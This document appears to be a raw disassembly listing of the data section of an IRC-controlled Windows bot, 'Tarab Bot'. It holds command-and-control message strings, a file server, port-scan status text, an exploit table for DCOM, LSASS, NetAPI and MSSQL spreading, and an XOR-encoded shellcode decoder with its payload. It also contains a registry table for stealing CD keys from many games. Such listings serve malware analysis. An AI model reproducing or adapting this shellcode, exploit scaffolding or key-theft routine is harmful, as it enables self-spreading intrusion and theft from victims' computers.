aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4061E4+64Do
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4061E4+61Do
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+58Eo
align 8
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4061E4+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4061E4:loc_406707o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4061E4+51Co
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4061E4+476o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+439o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4061E4+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4061E4:loc_4065B1o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4061E4+3C6o
align 10h
aSS_0 db '%s%s/',0 ; DATA XREF: sub_4061E4+379o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+335o
; sub_4061E4+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4061E4+308o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_4061E4+2DEo
; sub_4061E4+418o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4061E4+2B4o
aAm db 'AM',0 ; DATA XREF: sub_4061E4+293o
align 10h
aPm db 'PM',0 ; DATA XREF: sub_4061E4+284o
align 4
a__ db '..',0 ; DATA XREF: sub_4061E4+231o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+146o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4061E4+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4061E4+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406950+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_429B90 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_406A71+48Do
dword_429BA0 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_406A71+479o
dd 2BBBB02h, 61726154h, 6F422062h, 74202074h, 736E6172h
dd 20726566h, 20206F74h, 20207325h, 75731F02h, 73656363h
dd 6C756673h, 6320796Ch, 6C706D6Fh, 64657465h, 202C021Fh
dd 6F666E69h, 2528203Ah, 2E2973h
dword_429BFC dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_406A71+3B6o
dd 2BBBB02h
aTarabBotFileNo db ' Tarab Bot File not found: %s (%s).',0
dword_429C38 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh, 0
; DATA XREF: sub_406A71+399o
dword_429C50 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_406A71+33Eo
dd 2BBBB02h, 72615420h, 42206261h, 2020746Fh, 6E617274h
dd 72656673h, 206F7420h, 20732520h, 621F0220h, 6E696765h
dd 676E696Eh, 202C021Fh, 6F666E69h, 2528203Ah, 2E2973h
unk_429CA0 db 2 ; DATA XREF: sub_406A71+15Ao
db 36h, 2, 72h
db 62h ; b
db 20h, 28h, 74h
db 66h ; f
db 74h, 70h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotFailed db 'Tarab Bot Failed to open file: %s.',0
align 10h
dword_429CE0 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_406A71+6Ao
dd 2BBBB02h
aTarabBotErrorS db ' Tarab Bot Error: socket() failed, returned: <%d>.',0
align 10h
aOctet db 'octet',0 ; DATA XREF: sub_406A71+Fo
align 4
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_4075B8+155o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: .data:00405215o
align 4
dd 5 dup(0)
dword_429D60 dd 87h ; DATA XREF: sub_406F62+1Er
; sub_40EC43+3079r ...
off_429D64 dd offset sub_402DB1 ; DATA XREF: sub_4075B8+1D7r
dword_429D68 dd 0 ; DATA XREF: sub_402DB1+2E1r
; .data:004037DDr ...
dword_429D6C dd 1 ; DATA XREF: sub_4070A3+1Fr
dword_429D70 dd 0 ; DATA XREF: sub_4070A3:loc_407314r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 402DB1h, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 402DB1h, 0
dd 1, 0
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 403660h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h
dd 353331h, 5 dup(0)
dd 87h, 403660h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h
dd 393331h, 5 dup(0)
dd 8Bh, 403660h, 0
dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h
dd 5 dup(0)
dd 1BDh, 40424Ah, 0
dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 40424Ah, 0
dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h
dd 353434h, 5 dup(0)
dd 1BDh, 404EE8h, 2 dup(0)
dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h
dd 5 dup(0)
dd 8Bh, 404EE8h, 2 dup(0)
dd 1, 6D7973h, 0
dd 79730000h, 746E616Dh, 6365h, 5 dup(0)
dd 0B97h, 404F40h, 0
dd 1, 0
dd 636874h, 0
dd 68540000h, 6C717363h, 6 dup(0)
dd 599h, 405132h, 0 ; CODE XREF: sub_42A04A:loc_42A05Fj
dd 1, 11h dup(0)
; ---------------------------------------------------------------------------
jmp short loc_42A05A
; =============== S U B R O U T I N E =======================================
sub_42A04A proc near ; CODE XREF: sub_42A04A:loc_42A05Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_42A052: ; CODE XREF: sub_42A04A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_42A052
jmp short loc_42A05F
; ---------------------------------------------------------------------------
loc_42A05A: ; CODE XREF: .data:0042A048j
call sub_42A04A
loc_42A05F: ; CODE XREF: sub_42A04A+Ej
jo short near ptr dword_429FF4+6
cwde
cdq
cdq
retn
sub_42A04A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_406F62+81o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_406F62+42o
align 4
dword_42A1E8 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_406F62+11o
dd 2029671Fh, 2BBBB02h
aTarabBotExploi db ' Tarab Bot Exploit Statistics:',0
align 4
dword_42A228 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_40702C+42o
dd 2029671Fh, 2BBBB02h
aTarabBotScanNo db ' Tarab Bot Scan not active.',0
align 4
dword_42A264 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_40702C+2Co
dd 2029671Fh, 2BBBB02h
aTarabBotCurren db ' Tarab Bot Current IP: %s.',0
align 10h
unk_42A2A0 db 2 ; DATA XREF: sub_4070A3+35Do
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTarabBotFail_0 db ' Tarab Bot Failed to start server, error: <%d>.',0
align 10h
unk_42A2F0 db 2 ; DATA XREF: sub_4070A3+307o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTarabBotServer db ' Tarab Bot Server listening on IP: %s:%d, Directory: %s\.',0
align 4
unk_42A348 db 2 ; DATA XREF: sub_4070A3+252o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 66h ; f
db 74h, 70h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotFail_1 db ' Tarab Bot Failed to start server, error: <%d>.',0
align 8
unk_42A398 db 2 ; DATA XREF: sub_4070A3+1FBo
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 66h ; f
db 74h, 70h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTarabBotServ_0 db ' Tarab Bot Server started on Port: %d, File: %s, Request: %s.',0
align 10h
dword_42A3F0 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4070A3+138o
dd 2BBBB02h
aTarabBotFail_2 db ' Tarab Bot Failed to start server, error: <%d>.',0
align 10h
dword_42A440 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4070A3+D8o
dd 2BBBB02h
aTarabBotServ_1 db ' Tarab Bot Server started on Port: %d, File: %s, Request: %s.',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40747F+38o
; sub_40AD08+46o
align 8
dword_42A4A8 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_4075B8+DCo
dd 2029671Fh, 2BBBB02h
aTarabBotIpSPor db ' Tarab Bot IP: %s, Port %d is open.',0
align 10h
dword_42A4F0 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_4075B8+84o
dd 2029671Fh, 2BBBB02h
aTarabBotIpSDSc db ' Tarab Bot IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
dword_42A548 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_4077CC+1E0o
dd 2029671Fh, 2BBBB02h
aTarabBotFinish db ' Tarab Bot Finished at %s:%d after %d minute(s) of scanning.',0
align 8
dword_42A5A8 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_4077CC+168o
dd 2029671Fh, 2BBBB02h
aTarabBotFail_3 db ' Tarab Bot Failed to start worker thread, error: <%d>.',0
align 10h
unk_42A600 db 2 ; DATA XREF: sub_4077CC+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
dword_42A648 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_4077CC+87o
dd 2029671Fh, 2BBBB02h
aTarabBotFail_4 db ' Tarab Bot Failed to initialize critical section.',0
unk_42A698 db 2 ; DATA XREF: sub_407A23+143o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 8
unk_42A6E8 db 2 ; DATA XREF: sub_407A23+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_42A740 db 2 ; DATA XREF: sub_407BAA+157o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_0 db ' Failed to start connection thread, error: <%d>.',0
unk_42A790 db 2 ; DATA XREF: sub_407BAA+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_42A7E4 db 2 ; DATA XREF: sub_407E2F+1B1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server on Port %d.',0
align 8
unk_42A828 db 2 ; DATA XREF: sub_407E2F+17Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_1 db 'Failed to start client thread, error: <%d>.',0
unk_42A870 db 2 ; DATA XREF: sub_407E2F+114o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 20h, 54h
aArabBotClientC db 'arab Bot Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_42A8CC db 2 ; DATA XREF: sub_407E2F+A8o
; sub_40EC43+5E0Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStartedO db 'Server started on: %s:%d.',0
align 8
unk_42A908 db 2 ; DATA XREF: sub_408033+1F9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42A958 db 2 ; DATA XREF: sub_408033+18Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
align 8
unk_42A9A8 db 2 ; DATA XREF: sub_408033+F2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4083F0+11o
aWindow db 'Window',0 ; DATA XREF: sub_40862B+23o
; sub_408824+26o
align 8
dd 80000001h
off_42AA0C dd offset aSoftwareValveC ; DATA XREF: sub_408A63+Cr
; sub_408A63+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_42AA18 dd 2 dup(0) ; DATA XREF: sub_408A63+26o
dd 80000001h, 42BBB0h, 42BBA4h, 42BB94h, 2 dup(0)
dd 80000001h, 42BB74h, 42BB70h, 42BB5Ch, 2 dup(0)
dd 80000001h, 42BB38h, 42BB70h, 42BB2Ch, 2 dup(0)
dd 80000001h, 42BB08h, 42BB00h, 42BAECh, 2 dup(0)
dd 80000001h, 42BAD8h, 42BAC8h, 42BAACh, 2 dup(0)
dd 80000001h, 42BA68h, 42BBF0h, 42BA54h, 2 dup(0)
dd 80000002h, 42BA28h, 42BA1Ch, 42B9FCh, 2 dup(0)
dd 80000002h, 42B9C8h, 42BBF0h, 42B9B0h, 2 dup(0)
dd 80000002h, 42B97Ch, 42BBF0h, 42B964h, 2 dup(0)
dd 80000002h, 42B94Ch, 42BBF0h, 42B934h, 2 dup(0)
dd 80000002h, 42B8F8h, 43BCE8h, 42B8E8h, 2 dup(0)
dd 80000002h, 42B8B0h, 43BCE8h, 42B89Ch, 2 dup(0)
dd 80000002h, 42B850h, 43BCE8h, 42B830h, 2 dup(0)
dd 80000002h, 42B7E0h, 43BCE8h, 42B7B0h, 2 dup(0)
dd 80000002h, 42B774h, 43BCE8h, 42B760h, 2 dup(0)
dd 80000002h, 42B728h, 43BCE8h, 42B718h, 2 dup(0)
dd 80000002h, 42B6C8h, 43BCE8h, 42B698h, 2 dup(0)
dd 80000002h, 42B658h, 43BCE8h, 42B638h, 2 dup(0)
dd 80000002h, 42B608h, 43BCE8h, 42B5E8h, 2 dup(0)
dd 80000002h, 42B5ACh, 43BCE8h, 42B598h, 2 dup(0)
dd 80000002h, 42B550h, 43BCE8h, 42B52Ch, 2 dup(0)
dd 80000002h, 42B4D8h, 43BCE8h, 42B4A8h, 2 dup(0)
dd 80000002h, 42B458h, 43BCE8h, 42B42Ch, 2 dup(0)
dd 80000002h, 42B3ECh, 42B3E4h, 42B3C4h, 2 dup(0)
dd 80000002h, 42B380h, 43BCE8h, 42B364h, 2 dup(0)
dd 80000002h, 42B318h, 43BCE8h, 42B2F4h, 2 dup(0)
dd 80000002h, 42B2C0h, 43BCE8h, 42B2B4h, 2 dup(0)
dd 80000002h, 42B280h, 43BCE8h, 42B274h, 2 dup(0)
dd 80000002h, 42B240h, 43BCE8h, 42B234h, 2 dup(0)
dd 80000002h, 42B200h, 43BCE8h, 42B1F4h, 2 dup(0)
dd 80000002h, 42B1B8h, 43BCE8h, 42B1A4h, 2 dup(0)
dd 80000002h, 42B168h, 43BCE8h, 42B154h, 2 dup(0)
dd 80000002h, 42B124h, 42BBF0h, 42B108h, 2 dup(0)
dd 80000002h, 42B0E8h, 42B0E0h, 42B0BCh, 2 dup(0)
dd 80000002h, 42B0A0h, 42B0E0h, 42B080h, 2 dup(0)
dd 80000002h, 42B060h, 42B0E0h, 42B03Ch, 2 dup(0)
dd 80000002h, 42B024h, 42B0E0h, 42B020h, 2 dup(0)
dd 80000002h, 42B004h, 42AFF4h, 42AFECh, 2 dup(0)
dd 80000002h, 42AFB8h, 42AFB4h, 42AF9Ch, 2 dup(0)
dd 80000002h, 42AF60h, 42AF54h, 42AF2Ch, 42AF1Ch, 42AF08h
dd 80000002h, 42AEE4h, 42AED8h, 42AEC4h, 42AEB4h, 42AEACh
dd 80000002h, 42AEE4h, 42AED8h, 42AE80h, 42AEB4h, 42AE78h
dd 80000002h, 42AEE4h, 42AED8h, 42AE48h, 42AEB4h, 42AE40h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: .data:00430634o
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 10h
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 10h
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 10h
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 10h
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 10h
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 10h
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 10h
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 10h
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 10h
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 10h
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 8
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
